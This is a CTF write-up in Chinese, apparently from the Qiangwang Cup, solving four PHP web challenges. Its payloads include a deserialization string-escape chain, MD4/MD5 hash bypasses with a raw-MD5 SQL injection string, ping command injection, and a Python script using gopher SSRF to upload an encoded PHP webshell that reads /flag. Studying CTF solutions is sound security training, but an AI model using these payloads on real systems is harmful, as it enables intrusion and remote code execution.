强网杯的质量还是很高,只做出了一道web : )
web辅助
php反序列化字符串逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
|
<?php class player{ protected $user; protected $pass; protected $admin;
public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; }
public function get_admin(){ return $this->admin; } }
class topsolo{ protected $name;
public function __construct($name = 'Riven'){ $this->name = $name; }
public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ $name = $this->name; $name(); } }
public function __destruct(){ $this->TP(); }
}
class midsolo{ protected $name;
public function __construct($name){ $this->name = $name; }
public function __wakeup(){ if ($this->name !== 'Yasuo'){ $this->name = 'Yasuo'; echo "No Yasuo! No Soul!\n"; } }
public function __invoke(){ $this->Gank(); }
public function Gank(){ if (stristr($this->name, 'Yasuo')){ echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } }
class jungle{ protected $name = "";
public function __construct($name = "Lee Sin"){ $this->name = $name; }
public function KS(){ system("whoami"); }
public function __toString(){ $this->KS(); return ""; }
} ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
<?php @error_reporting(0); require_once "common.php"; require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; }
?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
<?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; }
function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
<?php @error_reporting(0); require_once "common.php"; require_once "class.php";
var_dump(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); print_r($player); if ($player->get_admin() === 1){ echo "FPX Champion\n"; } else{ echo "The Shy unstoppable\n"; }
?>
|
先找出payload
1 2 3 4 5
| $a = new topsolo(new midsolo(new jungle('Tyao'))); $b = new player('Tyao',$a,1); echo serialize($b);
O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Tyao";}}}s:8:"*admin";i:1;}
|
利用字节流S绕过对name的检测
1
| O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}
|
查看正常的序列化数据
1
| O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:3:"pwd";s:8:"*admin";i:0;}
|
修改【pwd】的值使其和我们的payload匹配,顺便修改个长度
1 2 3 4 5
| O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:154:"
;s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}
";s:8:"\0*\0admin";i:0;}
|
计算多出来的数据的长度
1
| len('";s:7:"*pass";s:158:') == 22
|
%00*%00pass还有两个隐藏字符,下面的payload也不要忘记加上
每次字符串逃逸可以多出2个字符,所以修改username为11个\0*\0
最终exp如下:
1 2
| username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":2:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:0:"";}}};s:8:"*admin";i:1;}
|
Funhash
哈希tricks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include 'conn.php'; highlight_file("index.php");
if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) { die('level 1 failed'); }
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) { die('level 2 failed'); }
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close();
?>
|
hash4强哈希碰撞,后面是凑出or 1,直接百度就行
1 2 3 4 5 6 7 8 9 10
| <?php $int=1; $md4=""; $name="0e"; while ($md4!=$name){ $name='0e'.$int; $int++; $md4=hash('md4',$name); } echo $name;
|
数组绕过hash比较,
最终exp
1
| ?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
|
主动
命令执行
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"])) { die("no flag"); }
system("ping -c 3 $_GET[ip]");
?>
|
简单命令拼接
half_infiltration
php反序列化 ssrf+gopher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php highlight_file(__FILE__); $flag = file_get_contents('ssrf.php'); class Pass {
function read() { ob_start(); global $result; print $result; } } class User { public $age, $sex, $num; function __destruct() { $student = $this->age; $boy = $this->sex; $a = $this->num; $student->$boy(); if (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit(); } global $$a; $result = $GLOBALS['flag']; ob_end_clean(); } } if (isset($_GET['x'])) { unserialize($_GET['x'])->get_it(); }
|
参考第五空间的《do you know》,把原来的payload改一改变量名即可
考点:
- 反序列化一个数组使其能够输出flag
- $$变量覆盖
- throw exception异常提前中断跳出ob_end_clean()
- global处触发exception,因为global $this是非法的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class Pass {
}
class User { public $age,$sex,$num; }
$a = new User(); $a->age = new Pass(); $a->sex = 'read'; $a->num = 'result';
$b = new User(); $b->age = new Pass(); $b->sex = 'read'; $b->num = 'this';
$c = "Tyao"; $x = array($a, $b, $c); echo(serialize($x));
|
转到内网渗透,给到一个ssrf接口,端口在40000,点进去只有一个文件上传,没有禁gopher协议,盲猜是gopher+ssrf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){ die(""); }
if($url) {
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_exec($ch); curl_close($ch);
}
?>
|
这里很多坑,文件名不能含有write
,一度以为filter
写不了文件,后来才发现write
是可以省略的 : )
文件内容不能含有<?
、php
、<script
等等标签,需要同时用rot13
和base64
绕过(也不太懂什么base64之后也可以检测到php
字段
1
| base64_encode(rot13('<?php echo system("cat /flag");//')) = "PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v"
|
给出最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests as rq import re
ssid = "ttt" post_string = "file=php://filter/convert.base64-decode|string.rot13/resource=1.php&content=PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v" length = len(post_string)
paramsGet = {"we_have_done_ssrf_here_could_you_help_to_continue_it":"gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1%%0d%%0a\ Host:127.0.0.1:40000%%0d%%0aCookie:PHPSESSID=%s;%%0d%%0aConnection:close%%0d%%0aContent-Type:application/x-www-form-urlencoded%%0d%%0aContent-Length: %d%%0d%%0a%%0d%%0a\ %s" % (ssid, length, post_string)} res = rq.get("http://39.98.131.124/ssrf.php", params=paramsGet)
res2 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/") files = re.findall('<a href=".*?">(.*?)</a>', res2.text)[5:] print("=========FILES============") print("\n".join(files)) print("==========================")
res3 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/1.php") print(res3.text)
|